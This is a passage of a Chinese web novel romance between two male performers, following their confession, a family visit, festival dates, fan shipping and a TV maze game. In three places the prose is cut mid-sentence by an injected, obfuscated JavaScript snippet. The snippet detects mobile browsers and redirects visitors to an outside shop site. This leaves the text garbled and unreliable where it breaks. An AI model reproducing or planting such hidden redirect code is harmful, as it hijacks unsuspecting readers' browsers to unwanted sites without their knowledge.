姬波岁数大,看不下去小年青搞基,站起身来,转了转嘎嘣响的老脖子,说道:“我想去整点儿宵夜,听说北戴河的小刀蚬不错,辣椒炒蚬子,就啤酒,谁跟我一块儿去?” “师父,我跟你一块儿去吧,我正好也饿了。”吴芷静识相地站起来说道。 博博却坐着不动,一双小眼睛还在吃瓜看戏。 姬波清了清嗓子:“陈博!” 博博熊躯一震,“哎呀!师父我不饿,你们去吧。” 谁管你饿不饿啊,只是嫌你亮。 “陈——博——!”吴芷静也叫他,阻止电灯泡辛勤发电。 静姐毕竟是给他开工资的人,博博虽然放不下这口大瓜,却也只得一步三回头地说:“我去……我也饿,饿死了……” 人都走光了,屋里就剩下易卿尘和杨原野,虽然开着电视,可是不知怎的,一时间易卿尘觉得比刚才还紧张,连自己吞口水的声音都能听见。 他两只眼睛直勾勾地盯着电视看。 电视里,记者在采访段朗星。段朗星作为这次事件的当事人之一,正在讲述他收到疯狂粉丝恐吓信之后,是如何迅速报警,给所有人争取宝贵的逃生机会的。惹祸的主还往脸上贴金。镜头中,段朗星身后的阴影里,楚言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13232718|131022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正立在那儿,镇着场子。 “你说,那人居然真就因为段朗星违背他们粉丝意愿,接了一部古偶剧而做出这样的事儿,我真不理解。”易卿尘感慨道。 “嗯,说是个化学博士,跟电视剧里学的,自制的炸弹,放高压锅里?”杨原野边说,便继续削苹果。 “高压锅又不开火,放里面有啥用?”易卿尘说,“本来是前途光明的博士,这一弄,估计要把牢底坐穿了。幸亏没有人员伤亡,不然搞不好都要判死刑。” 杨原野叹了口气:“谁说没有人员伤亡,你这不是受伤了吗?” “……” 易卿尘眉心一沉,说,“去喜来登的路上我就看见有卖糖炒栗子的,八月份卖这个,你说多稀奇呀,我就想着偷偷去买来给你尝尝,死也没想到会出这样的事。阿野,对不起啊,我总给你惹麻烦。” 杨原野垂眸听着,起身坐在了床沿,俯身对着易卿尘,双臂撑在两侧,将他圈在其中。 “你的确挺麻烦,而且还邪门儿,专招血光之灾,上次是眼睛,这次是腰。所以……易卿尘,人该不该离你远点儿?” “啊……你这么说,我好像确实不太吉利,那你,还是离我远,一点儿好?” 易卿尘看着杨原野那张英俊无比的脸,自己的影子在他墨色的瞳仁里越来越近,他能自己有些奇怪的断句。 “先不说这个,我的糖炒栗子呢?” 杨元野明知故问。他今天看见那包东西的时候心情复杂极了,又生气又感动,把他个大老爷们都给整哭了。也不全是因为栗子,更是因为失而复得的滋味,他不敢想象要是没了易卿尘,他会怎么样,从年少到成熟,他所有有关爱情的经历,都是易卿尘。 那个他心尖尖上的人,此刻正眨巴着一双杏核眼,摊手扮无辜:“糖炒栗子现在恐怕在高压锅里了,我是不敢回去找,以后再赔给你吧!” “行,签字画押。”杨原野笑说。 “啊?”易卿尘愣了一小下,然后就扬起漂亮的眉眼咯咯咯地笑个不停:“一包栗子还要画押,杨少爷果然穷过!” 他笑得肩膀、手臂、小肋骨都在颤,仰起的脖子上一颗喉结动了一下,嘴巴微张,能看见一小截粉色的舌。 杨原野想别开眼去,却一偏头堵住易卿尘的嘴唇。 “唔——” 猝不及防,没有守卫的口腔直接被攻了进去,霸道的唇舌厮磨软嫩的唇瓣,不讲理地搅弄,笑声连同口腔的空气都被一吸一咂地抽干了。易卿尘毫无准备地被捏软了压在身下,发出小猫小狗一般的可怜呜咽。 像是一场无妄之灾,本来好好地靠坐在床头,现下整个人被完全压进床里,手脚无力,唇上一痛,传来一股血腥味,一双手臂堪堪勾着杨原野的脖子,还不好意思勾太紧,只虚浮地在云里飘着。 杨原野停了下来,垂眼看着被他咬破的嘴唇,殷红欲滴,仍在往外冒着一丝一缕的腥甜。 “小尘,刚才这样……好吗?你喜欢吗?” 易卿尘凌乱地喘,“我、我害怕……” 他紧张地捧着他的脸:“怕什么?” “我怕……这是个梦……” 杨原野舒了口气,抓着易卿尘的手放在心口,呼吸倾吐在他的耳畔,声音很轻:“不是梦,是我,你摸摸看。” 76.076 告白 一向桀骜不驯的人,此刻全是温柔,目光又深又重地落在易卿尘身上,让他忍不住想躲。其实早在那么多年前,在查干湖医院的病床上,他就偷吻过杨原野,那时他吻得酸涩又紧张,可惜对方病晕了,并不知道这一切。 易卿尘张了张口,挤出几个字:“嗯,挺好的……” “什么挺好的?” 羞涩的感觉让语言变得断断续续:“你不是问我,刚才那样,好吗,喜欢吗……” 杨原野弓起身和他拉开了一点距离:“哦,好吧。那时间也不早了,你也要休息,那我就……” 就先走了吗? 易卿尘会意,双手撑着床,忍者隐隐的腰痛,往上坐直了些:”那你也早点休息吧。” 说完,心里有那么一丝空落落的。 “那我就抓紧时间了。”说罢,杨原野一把将易卿尘拉了下来,欺身狠狠吻住他的嘴唇。 这一吻来得出人意料,似有排山倒海的架势。四年的分离,入骨的相思都要在这一吻里得到补偿。 求偿的人有点儿疯,亲得易卿尘头皮发紧、胡乱呓语:“放开我,我心跳好快,心脏都要碎了。” “碎了也不怕,忘了我是学医的?我给你人工呼吸……我想你,小尘。” 不好,他怎么被牵着鼻子走了? 易卿尘试图拿回一点掌控权,“叫哥。” “好,”杨原野的语气温柔得一塌糊涂,“宝宝……” 酸麻劲儿顺着脊梁往上撺掇,杨原野用手掌兜住易卿尘的后脑勺,修长的手指插入乌黑的短发里,唇又贴在了一起。两人吻得意乱情迷,一双身体烘热。 良久,杨原野才停下来。易卿尘在他耳畔喘息难平,教他舍不得松开。 “有一句话,四年前我就想问你了……”杨原野用接吻之后的温哑语气说道。 心跳好快。 易卿尘好像猜到他要问什么。他盼了许久,可真到了这一刻,还是紧张。 “……你问吧。” 额头抵着额头,呼吸缠绵。 “易卿尘。” “嗯?” “卿尘哥哥。” “……哎。” “做我男朋友吧!我真的喜欢你很久了。你知道的,我这辈子就没喜欢过除了你以外的任何人。你跟了我,我一定会千倍百倍地对你好,听你的话。可以吗?” 等了四年,他终于等到了。 “……为什么等到现在才问我?”易卿尘的声音发颤,带着点委屈。 杨原野轻轻蹭了蹭他的鼻尖,“从前我很幼稚,脾气又坏,有意无意的,一定没少伤害你,你当初离开我也是对的。可这次不一样了,我不一样了,我会对你负责,对我们的未来负责。” 见易卿尘闪着亮晶晶的眼睛,微张着嘴巴不说话,杨原野清了清喉咙,一股脑地把藏了好久的话倾吐出来。 “你知道吗,这次为了追你,我还特意买了好几本恋爱学的书,什么《好好恋爱》《如何让你爱的人爱上你》《经营亲密关系》我都看了。” “?!” 易卿尘惊呆了,杨原野不愧为学霸,实战前还要钻研兵法,可见是真的用了心的,怎能教他不感动? “书上都写什么了?” “书上写‘谈恋爱最珍贵的就是暧昧期,那滋味最是美好’。我就想,我的小尘这辈子,估计就剩这一次暧昧的机会了,我希望你拥有的暧昧期,那些美好滋味能再长一点,再久一点。别人有的,我都要给你。 所以我一直在克制,忍住想立刻霸占你的冲动……我准备了一辈子的时间,想给你一次最完美的恋爱,让你再也不舍得离开我。我本想慢慢来,等一切水到渠成。可我实在等不及了,一想到今天差点儿失去你,我就不想再浪费时间了。我爱你,易卿尘,真的真的好爱你,暧昧期可以跳过吗?” 易卿尘看着杨原野一往情深的眼睛,也忍不住鼻子发酸,他害羞地咬了咬唇,嗔怪道:“暧什么昧,咱们这样要是在古代,不结婚都很难收场。” 杨原野笑意晏晏:“那就是说,你答应了?” 易卿尘轻轻“嗯”了一声,杨原野激动得再次凑上嘴唇,还没吻上,却被易卿尘抬手挡住,“不过,做我男朋友可有个条件。” 杨原野急不可耐,“什么条件?说出来,我双倍答应。” 易卿尘认真道:“不能轻易说分手。” 他失去过一次杨原野,想到有再次失去杨原野的可能性,哪怕只有一点点,他都会立刻感到紧张无措。所以,他要一个保证。 不要再和我分开了,阿野。只要结局是好的,一路的蜿蜒曲折,都可以被原谅。 鼻腔里溢出一声轻音,杨原野无奈道:“贼喊捉贼,哪里轮得到我和你分手?你都当我是你的狗,随便就扔了。我当年那么求你,你哪怕回头看我一眼呢?可你不要我,也不心疼我了。” “……” 易卿尘的眼泪刷地掉了下来,杨原野温暖的声音在耳畔响起: “宝宝,再给你一次丢掉我的机会,你要不要?” “小狗……” “嗯?我在呢。” 台灯的光线照在易卿尘笔挺的鼻梁,光映出折角,仿佛钻石完美的切面,璀璨而珍贵。他仿佛宣誓般,说出了藏在心里多年的答案。 “我爱你。” “我更爱你,永远爱你。” 杨原野抬手轻轻遮住易卿尘的眼睛,再次覆上一双唇瓣,用吻,饮尽他身体里的月光。 - 几日后,北戴河“光阴里”康养中心。 易卿尘和杨原野换了拖鞋进屋,姨妈见来了位她只在电视里见过的客人,力求宾至如归,钻进厨房烧水、洗杯子、泡茶,乐呵呵地忙活着。易卿尘走进里屋卧室,没见着易小雪,只有那只老猫懒洋洋地钻在床底打瞌睡。 “大姨,我妈呢?” 姨妈给听成了“西瓜”,大声回道:“还剩一些在冰箱里呢。” 易卿尘和杨原野转头看向彼此。 “我要不要帮你报警……”杨原野抬着半条浓眉,问道。 易卿尘走进厨房,关了哨响的热水壶,聊了一会儿出来板着脸对杨原野说:“冰箱里真的是我妈——” 杨原野:“!” “买的西瓜……哈哈,她人在楼下海边呢,我去找找她。” “你别去了,歇着喝茶,我去吧。”杨原野说着,换鞋下了楼。 这一片海滩浴场是“光阴里”的私产,远处的公共海滨人声鼎沸,可这里却宁静闲适,金钱可以带来优越感。易小雪正坐在阳伞下,对着大海,在炎热的八月织一条白色的围巾,显得有些违和。 杨原野舔了舔嘴唇,手从裤兜里拿出来,捏住衣襟抻拉平整才走了过去,坐在她旁边。易小雪抬起头看着杨原野极有辨识度的帅脸,一秒钟就认出了他,并无半点儿惊讶地说:“你来啦?” “是,我来看你,小尘也在屋里等你呢。”杨原野熟稔地帮易小雪整理身边的毛线球,问道,“最近怎么样?身体好吗?睡得好吗?” 易小雪停下手里的钩针,轻叹了口气:“我最近总能梦见沉冤的亲爹。唉……冤孽啊……他说他在底下过得不好,住的地方那砖墙老是漏雨,他腿疼。他嘱咐我跟沉冤说说,给他搬个家。” “他对小尘没有一点好处,凭什么要求这些?”杨原野忿忿。 易小雪摇摇头:“说到底都是我欠他们的,过几天我给他烧些纸去,念叨念叨,让他消停点儿,不要去找沉冤,这孩子够苦的了。” “我不信这些,都是你平时思虑太重。等我给你买些提高睡眠质量的保健品,你每天睡前再喝杯热牛奶,关好窗户,保证那些鬼怪不会找上你。”杨原野说。 “我知道我自己,精神时好时坏的,指不定哪天就不中用了。我现在就盼着沉冤早日成个家,我也就放心去了。”易小雪抬手掠掠鬓边的碎发,里面隐隐有些斑白。 杨原野神色一凛,试探地问道:“阿姨,小尘如果不结婚呢?” “不结婚?那天冷了谁给他织围巾织帽子?他生病难受谁给他端茶递水啊?” “围巾帽子可以买,朋友可以照顾他生病,不是非要有个女人的。”杨原野说,“有那种很好很好的朋友,可以一辈子照顾他,对他好。那样,也不行吗?” 易小雪扭过头,十分认真地看着杨原野,半晌,还是坚决地摇了摇头:“沉冤得有个孩子,将来给他养老送终。” 杨原野低头微微一笑,道:“嗯,咱们回去吧,该吃饭了。” 杨原野扶着易小雪站起来,将毛线团以及勾了一半的围巾塞进袋子里。远处是海浪冲刷礁石的声音,夕阳打碎了,涂在杨原野似笑非笑的脸上,只听他郑重其事的补充道:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13245259|131022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会好好锻炼身体,一定长命百岁,照顾小尘一辈子。” 易小雪似懂非懂,握住了杨原野的手,用力捏了捏。 - 阿那亚音乐节期间,易卿尘和杨原野分别都被安排了不少的工作,见不到面的时候,会一直发消息。夜里说完晚安,易卿尘会翻一遍当天的所有聊天记录,钻在被窝里回味,笑着笑着就困睡着了。 二十几岁才真正开始一段恋爱,易卿尘如同清纯的男高中生一般,每日小鹿乱撞。 从酒店西餐厅出来,易卿尘碰上了化妆师Jasper,对方见了他,眼前一亮,冲他说道: “易老师,早啊!你最近状态真是越来越好了,容光焕发啊!” “哪里,你看起来也很不错。”易卿尘笑道。 “我可不行,这几天睡不好,海边蚊子多,天天喂蚊子,一开工就搞到后半夜,累死了!”Jasper打了个呵欠,冲他摆摆手,说,“待会儿见呐,易老师。” “待会儿见。” 易卿尘把手插进裤兜,确认了一下他的东西还在。 他掏出手机,手指在键盘上飞速地跳动。 【易卿尘:我一会儿去安澜酒店,你呢?】 几秒钟后,手机响了,易卿尘迅速点开: 【yyy:抬头。】 易卿尘一看,杨原野正站在不远处,笑着望着他,一只眼睛是钩,一只眼睛是饵。易卿尘就是溪中一尾游鱼,猝不及防地被那双眼睛捕获。 杨原野朝他走来,身边除了姬波,还跟着两个人,一男一女,二十出头的样子。 见了易卿尘,年轻女子顿时兴奋得小跑过来:“易卿尘!我好喜欢你,终于见面了。”她激动又害羞地伸出手来。 姬波见状,笑呵呵地解释道:“小易呀,给你介绍一下,这两位是我公司新签的艺人,都是京北戏剧学院音乐剧专业的,能唱能演。” “师哥好,我叫慕容光。”男的躬身伸手,与易卿尘握手。 易卿尘看着他,眼神炯炯有神,牙齿亮白,面部棱角分明,虽然年轻却给人一种可靠的感觉。易卿尘不记得自己有这样一位“师弟”,于是投去思索的目光。 “师哥恐怕是不记得我。我是秦寒松秦老师的学生,上学那会儿经常听秦老师提起你。他一直以你为傲。”慕容光提醒道。 “哦!慕容光!我想起来了。我爸提过你的名字,怪不得我觉得这么耳熟。” 原来是跟着父亲学古琴的中学生慕容光,人生何处不相逢,真是有缘。易卿尘很高兴地和慕容光拥抱,拍了拍他的肩,说,“要是我爸看到你今天的样子,一定很高兴。” “是啊,秦老师对我恩同再造。” 忆起父亲,易卿尘露出怅然的神色。杨原野见了,揽了下易卿尘的肩膀,安抚地拍了怕。 进了电梯,易卿尘被杨原野拉着,站到电梯的一角,轿厢里人很多,他们站在最后面。 电梯缓慢上升,杨原野拉着易卿尘的手,藏在背后,十指紧扣,细细地抚摸每一根手指。两人虽然没看向对方,却都挂着掩不住的笑意。 易卿尘的另一只手摸进裤兜,掏出他事先准备的小玩意,从背后塞进杨原野的手心里。 杨原野低头一看,是一根黑白相间的防蚊手环,包装盒上画着一只十分可爱的斑点狗。嘴角瞬间咧到耳根,他默默地将手环揣进衣兜,像宝贝似地藏好。 十指交叠,杨原野的大拇指在易卿尘手心里划圈儿,痒得易卿尘直把手往回缩,却被扣得更紧,只能干忍者痒意,用身体轻轻地撞了下杨原野的肩膀。 电梯到了,“我们先走了,回头小易我再找你说说我打算做的舞台剧——”姬波边说边回头。 舞台剧三字没说完,姬波一个白眼就要飞上天。那俩人正痴痴地望着对方,俨然一对蜜罐里的小爱侣,眼神旁若无人地拉丝。 年轻人真是情绪饱满,色令智昏。 姬波清了清嗓子,易卿尘好不容易才把手抽了出来,目光太烫不知道往哪儿放,开口应道:“嗯,好的姬哥,回头联系。” “师哥再见!”慕容光回头跟易卿尘招手。 “行,走了!”姬波一招手,杨原野跟着大部队走出了电梯。 电梯门关上了,易卿尘脸上的绯红还没褪尽,手机就震了起来。 【yyy:宝宝,晚上去找你,给我留门】 77.077 野尘 白天一整天,易卿尘都在安澜酒店,和著名新中式摇滚乐队“密密缝”合作一首歌曲《阿那亚小情歌》,晚上将在某音直播,预约观看人数已经达到130万。 “密密缝”乐队本身是一个烟嗓摇滚主唱加一琵琶手,一笛子手的三人组合。 此次易卿尘的联袂,给乐队带来了清丽的唱腔以及悠远深沉的古琴,使得整体歌曲音域更宽广,富有哲思。现场录音师听后大呼:妙,太惊喜了! 今年的阿那亚音乐节,不同于往年一水的西方摇滚,越来越多的中式乐器也加入了“潮音”的行列。想起今早碰见的慕容光,同样是民乐出身,却修习的音乐剧专业,这也是一种跨越次元壁垒的碰撞。 易卿尘不禁在想中国民乐的另一种可能性,除却音乐曲风的多元化,是否也可以在表演形式上继续创新,创造出属于我们的“东方音乐剧”?他决定今晚和杨原野讨论讨论。 正在想着,博博推门进来了:“大家伙辛苦了,易老师请大家喝奶茶!” “谢谢易老师!”场务带头吆喝道,“还是网红牌子呢,易老师破费啦~~” 现场的乐队成员和工作人员纷纷放下手头的工作,喝起了奶茶。 “博博,我没让你买奶茶呀,你够贴心的呀!回头我给你报销。”易卿尘拍了拍博博的肩膀赞道。 “喏,这杯是专门给你做的,金叶乌龙茶,半糖。”博博从袋子里拿出来一杯奶茶,递给易卿尘。 “我刚从小野哥那儿回来,这些全都是他交代的。我们易老师好幸福啊,有人用心又出钱,替你拉拢人心。小野哥是这么说的,‘密密缝’以后跟可以你合作的地方还有很多,将来召集更多的民乐歌手,还可以开辟新的领域。” 易卿尘喝了一口面前半糖的金叶乌龙茶,甜度刚刚好。 顺手拍了一张面前的乌龙茶,发给某人。 【谢谢阿野】 秒回:【yyy:今晚要奖励】 易卿尘对着手机痴笑,一旁的博博无奈地摇头:“唉,你俩也考虑考虑单身狗的感受好吗……易老师,你知道吗?今天上午我陪小野哥在片场拍MV,他全程戴着一条黑白手环,服装师要给他摘了他不干,硬逼着人家给他换了一套同色系的衣服。好在他这种大帅哥,穿什么都好看,服装师看了也没脾气了!” “是吗?”易卿尘假装无辜,“关我什么事?” “关你什么事?关你什么事!也不知道是谁送的玩意,他见人就展示他的防蚊手环,比蚊子都烦人,一上午给我看不下八回,我现在脑瓜子还疼呢,我这属于工伤!”博博用手指着自己的大脑袋,抱怨道。 “哦,关我什么事……”易卿尘笑着说。 “不关你事——除非小野哥口中那个‘关心他心疼他的’不是你,那就不关你事。” “是我不假,但,关你什么事啊……”易卿尘松开咬着吸管的牙关,眨眨眼,哼着小曲儿走开了。 博博气得鼻子直冒烟儿,念叨着:“他奶奶的,狗命不是命吗……” 夕阳跃进橘子海,夜幕降临,酒今天店用的香氛有一种让人垂涎欲滴的桃子味,仿佛甜蜜的期待。 走廊里传来一阵咚咚咚的脚步声,步伐很快,易卿尘趴在门上附耳听着。脚步声越来越清晰,易卿尘心中的鼓点也跟着咚咚咚地狂响。 脚步声在他门前停下,没等门铃声响,易卿尘便哗啦一声拉开了门。 门口空无一人。 难道是他太想他,幻听了? 易卿尘的嘴角从W型瞬间变成M型,正要关门,在一旁躲着的人便猛地窜了出来,吓得易卿尘一声惊喘。杨原野抱住易卿尘的两步转身,就把人按在门口的墙壁上,回身用脚踢上了门。 两人抵着墙壁吻得昏天暗地,桃子的甜腻味道充斥在每一个舒展的毛孔。 怎么都不够,边亲边往屋里走,大腿贴上床沿,咚的一声,两人抱着倒在床上。房间内很安静,心跳和喘息都很鲜明。两人都出了些汗,身上的温度惊人,贴合在一起。口腔发出的啧啧水声,情动身热时,头脑是晕眩的,变换姿势脖子发出细微的咔哒声都让人沉沦。 逼近那个临界点,每一个热吻都是考验。杨原野委屈地带着气声,手在易卿尘的屁股上用力捏了一把:“妈的,我后悔了,我收回那个烂主意……再这样下去我怕是要憋出毛病……” 那“烂主意”是杨原野自己想出来的,怪他没事儿看什么恋爱指南。偏偏三本恋爱书都同时秉持一个观点,那就是初夜的仪式感。他俩虽说早没初夜了,可是在一起后的第一次上床也很重要,杨原野坚持要搞些仪式感。可惜在阿那亚什么都没法准备,于是杨原野说要等过几天回京北,再给易卿尘一个惊喜。在那之前,先忍一忍。 谁知道这玩意忍起来这么难,他的心肝亲亲小宝贝像块挂在嘴边的肥肉,他得是什么意志力能不下嘴的? 湿润的舌尖像一条小蛇,在杨原野的耳窝游走,引出来一身又一身的鸡皮疙瘩。易卿尘一边点火,一边说:“仪式感是你自己要搞的,奖励也是你要的,都不能反悔。” “祖宗,你别再招我了,我要爆炸了,不信你摸摸……” …… 浴室的凉水声响了足足半个小时,杨原野才穿着浴袍从里面出来。 易卿尘正弓身趴在阳台的窗沿上,听远处的海浪在夜色中拍打礁石,带出迷人的节奏,仿若恋人的耳语。许是空气污染没那么严重,从北戴河看银河比京北感觉更明亮可触及,像是可以伸手摘下一颗揣进怀里似的。 一个温暖潮湿的胸膛从身后温柔地抱住他,他转了个身,仰脸看着杨原野,他很明确地知道杨原野眼睛里的那颗星星就是他,他正被热烈地爱着。 “想什么呢?”杨原野用鼻尖蹭蹭他。 “想我今天写的一段旋律,我写的时候满脑子都是你,你想不想听听?” 杨原野点点头,“我去给你拿琴?” 易卿尘拖着杨原野的手,按着他坐进阳台的藤椅里,柔软的夜风吹过,易卿尘顺势坐进杨原野的怀里。 “不用去拿,这里不是就有一把吗?” 易卿尘抬手把杨元野浴袍上的腰带给抽了,露出一片大好胸膛,结实的腰腹肌肉。这是一架年轻肉身做的钢琴——肌理分明、线条流畅、又不乏力量感。 易卿尘白皙修长的手指在月光下投射出优美的影子,落在蜜色的宽阔胸膛之上。 他在他的身体上弹奏钢琴,嘴里轻声哼吟着旋律,配合着手指的跳动。 “好听吗?”手上的动作停下来,琥珀色的瞳仁映着杨原野的脸。 杨元野抬起脖子亲了他一口,说道:“好听,我刚也想了一段旋律,更好听……我也给你弹弹?” 易卿尘怔了一秒,很快反应过来,直起身子就想跑。杨原野用力一拉他的胳膊,一个反身将他压在藤椅里,伸手解他的衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266811|131022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裳…… “阿野,别闹,我怕痒……啊哈哈哈……” “怕痒?怕痒好啊……我用点儿劲儿,你不就不痒了,包你舒服。” 丝绸的上衣滑落到手肘处挂着,身下的人打了个颤儿,用勾人犯罪的绵软动静发表了一则免责声明: “我可不负责灭火,烧起来你自己看着办……” - 《中国唱作人》的播放进度已经正式追上了制作进度,也就是说从下一期开始,就只剩下总决赛的三场直播了。 上周五晚,“百年孤独”主题真人秀播出之后,#野尘爱的三十秒#话题便冲上热搜榜,并且热度持续攀升。 《爱的三十秒》是一位名叫“水煮白兰地”的up主太太将这一期真人秀里的野尘CP互动细节进行了重新剪辑,该视频的播放量高达900万,至今盘踞字母站首页,创造了拉郎配视频播放量的新纪录。 微博上野尘CP粉的数量以几何倍数疯涨。 酷哥配甜少,随便截屏都可以当壁纸,荷尔蒙爆棚,更重要的是两位主角之间的试探、拉扯和救赎,比八点档言情剧还好看。评论区的粉丝各个高呼自己是被甜死的。 《爱的三十秒》视频分三个小节: 第一部分的标题是“众里寻他千百度”,混剪了杨原野和易卿尘之间每一次追随对方而去的眼神,统计一期节目他们互相偷瞄对方的次数:易卿尘17次,杨原野31次。喜欢一个人,就会不自觉地在人群中用眼睛搜索他。这小节结束的一幕是易卿尘和杨原野同时看向对方,目光相遇,两人都迅速低下头,嘴角露出一抹藏不住的笑。 第二部分的标题是“麦琪的礼物”。野尘CP在智力上旗鼓相当,短时间内就分别破解了卡片的密码,为了和对方组队,以时间为代价,主动和其它人交换卡片。而故事的结果是阴差阳错,就像《麦琪的礼物》,那一瞬间,最好的礼物就是两个人拼命想靠近对方的心。这小节结束的一幕是导演组公布最终分组结果时,两人同款惊讶又意味深长的轻叹。 第三部分的标题是“把最好的人留到最后”。易卿尘毫不知情地一个人孤单闯关,而杨原野一直在身后追赶他的脚步,完成他留下的难题。在高空即将坠落的一霎那,杨原野出现将他救下,替他纵身一跃。以为是阴差阳错的遗憾,却是命中注定的救赎。视频的最后是杨原野从蹦极台上跃下,海风吹起易卿尘的额发,他本能地伸出手去想抓住他,却只抓住了风。 拉郎配视频一般都仅限CP粉的YY,up主大多会备注“此视频不涉及真人”。可是《爱的三十秒》却没有这一声明,评论区磕疯了,大呼这就是真爱。 [看这期节目的时候我好几次都特别感动,看了太太的视频,我才知道,感动我的原来是真爱。] [请把他们锁死好吗?只要野尘还在,这节目我能再看一百期。] [人生第一次磕CP,太上头了。] [上次杨原野开新闻发布会,我就在下面人群里发现疑似易卿尘的人影,现在我敢肯定,那个就是他。] [+1顶楼上,他对着镜头宣布自己是单身,其实只是说给台下的某一个人听,也太浪漫了吧!] [kswl,请把我杀了给他俩助助兴~~嗷呜~~] [“喜欢可以达到什么程度?”“整个世界森林里的老虎都融化成黄油。”] [你们说他俩睡了吗?] …… 78.078 迷宫 [原野星尘超话]被顶到超话榜单第一名,#野尘CP#也上了热搜前三,唯粉和CP粉疯狂掐架,闹得沸沸扬扬。 本周五即将直播的这期节目,网络调查显示,大众期待值已经远超过所有同期综艺节目,评论区一水的“想看爱的三十秒续集”。 周一一早,骆佳滨约了六位唱作人碰面,地点是位于黄金海岸的秦皇岛市京北电视台培训中心。 吴芷静和博博陪着易卿尘一起来到培训中心,刚一下车,地面的安保人员就紧张了起来,立刻拉起手,将汹涌的人群挡住,表情肃穆,严阵以待。 易卿尘抬眼望去,一大群举着彩虹应援横幅的野尘CP粉,外加另一群举蓝色灯牌的唯粉,他们虽然彼此互看不顺眼,但都一齐喊着易卿尘的名字,举着手机拍偶像,像小时候过年赶庙会似的争先恐后,兴奋不已。 除了野尘粉丝,还能见到一小撮段朗星的粉丝,但是由于上次喜来登爆炸事件的影响,段家粉最近有意减少了应援的力度,避免给公众带来负面印象。 易卿尘从停车场走进培训中心这一路,耳膜都要被震破了,好在博博发挥了他强健体魄的优势,一路护住易卿尘。 进了培训中心,吴芷静眉头深锁,紧抿着唇线说道:“这可不是个好兆头……对于涉及到同性的种种,上面的政策是越收越紧的,如今你俩被炒成这个样子,已经越线了。我得尽快去和公关部商量一下接下来的策略,不然恐怕要招来灾祸。” 吴芷静盯紧易卿尘,语气严肃地说,“你们俩最近给我收敛一些,千万不要被拍到什么实锤了。你记得吗?梁影帝自从被曝出同性伴侣,紧接着就传出他出国进修的消息,急流勇退去进修,这背后到底怎么回事相信你心里清楚。” 易卿尘点点头,心中蒙上了一层阴影,相比自己,他更担心给杨原野造成困扰。 到了培训中心的演播大厅,台上摆好了一排椅子,一排摄影师已经举着摄像机在拍摄。见易卿尘走了进来,几乎现场一半的目光都跟了来。 孟副导演第一个迎上来,笑嘻嘻地问:“小易来了啊,就你自己吗?” 易卿尘愣了一下,答道:“嗯,就我自己。” “噢,快去那边坐。我先带静姐和博博去后台。” “好。” 易卿尘走上舞台,向荣、沈世豪、段朗星和江琳达都到了,正坐着状似随意地聊着天。见到易卿尘,几个人都比从前更热络地跟他打招呼。 不一会儿,台下又一阵骚动,杨原野来了。比命还长的一对大长腿被一条黑色铅笔裤包着,上身套一件大牌连帽卫衣,戴一顶鸭舌帽,一如往常般信步走了进来,理所当然地径直坐进了易卿尘身旁的座位。 “你来了多久了?”杨原野刚坐下便凑近易卿尘,问道。 “嗯。”易卿尘不自然地别开视线,答道。 杨原野眉心一皱,疑惑地看着他:“问你来了多久了,嗯什么?” 易卿尘抬眼看了一下对准他们俩的摄影机,挂着张严肃脸,说道:“没多久。” 杨元野悻悻地闭了嘴。 骆佳滨导演拿着话筒出现,目光落在他俩身上,给了他一个含义不明的微笑。 “几位唱作人,这周五是总决赛第一场,6进5。今天来公布一下赛制。过去的赛段都是个人战,这一次我们会采用二人合作舞台的形式进行。两人一组,一共三组,得分最低的一组,组内PK,输家可能面临淘汰。这次的创作的主题是‘有情岁月’。” “导演,”向荣操一口港台腔问道,“有情,是哪两个字?” 骆佳滨答道:“看你们自行理解,有情,友情都可以。” “那怎么分组?” “大家请看身后,这是一个水晶迷宫。一会儿我们会将几位蒙上眼睛带到迷宫的不同入口,大家向着最中心的水晶球前进,在路上或者在终点,最先有缘分摸到彼此的,自然成为一组搭档。” 身后的幕布徐徐升起,一座不大不小的水晶迷宫映入眼帘。 这个噱头过分浪漫,易卿尘担心万一摸到杨原野,又会在网上掀起不少讨论,给杨原野带去麻烦。他心中紧张,眼睛正好捕捉到了江琳达腰带上的一颗铃铛坠饰:银色的小铃铛走起路来发出微弱但清脆的响声。 助理和副导演把选手们分别带到迷宫的不同入口处。 易卿尘被用一条树莓紫色的缎面绸带蒙上了双眼,孟副导演拉着他到了入口站定。一声哨响,骆导演宣布:“开始。” 易卿尘用耳朵努力寻找那颗银铃,摸索着慢慢前进,终于隐隐听见了那极其微弱的“叮当”声。他靠着听力以及黑暗中的触感,一步一步向着银铃前进。铃声越来越近,易卿尘伸直了双臂向着那个方向摸索。 空间中又出现了第三个人的脚步声,易卿尘一时紧张了起来,担心江琳达被第三个人选走,于是加快了步伐。 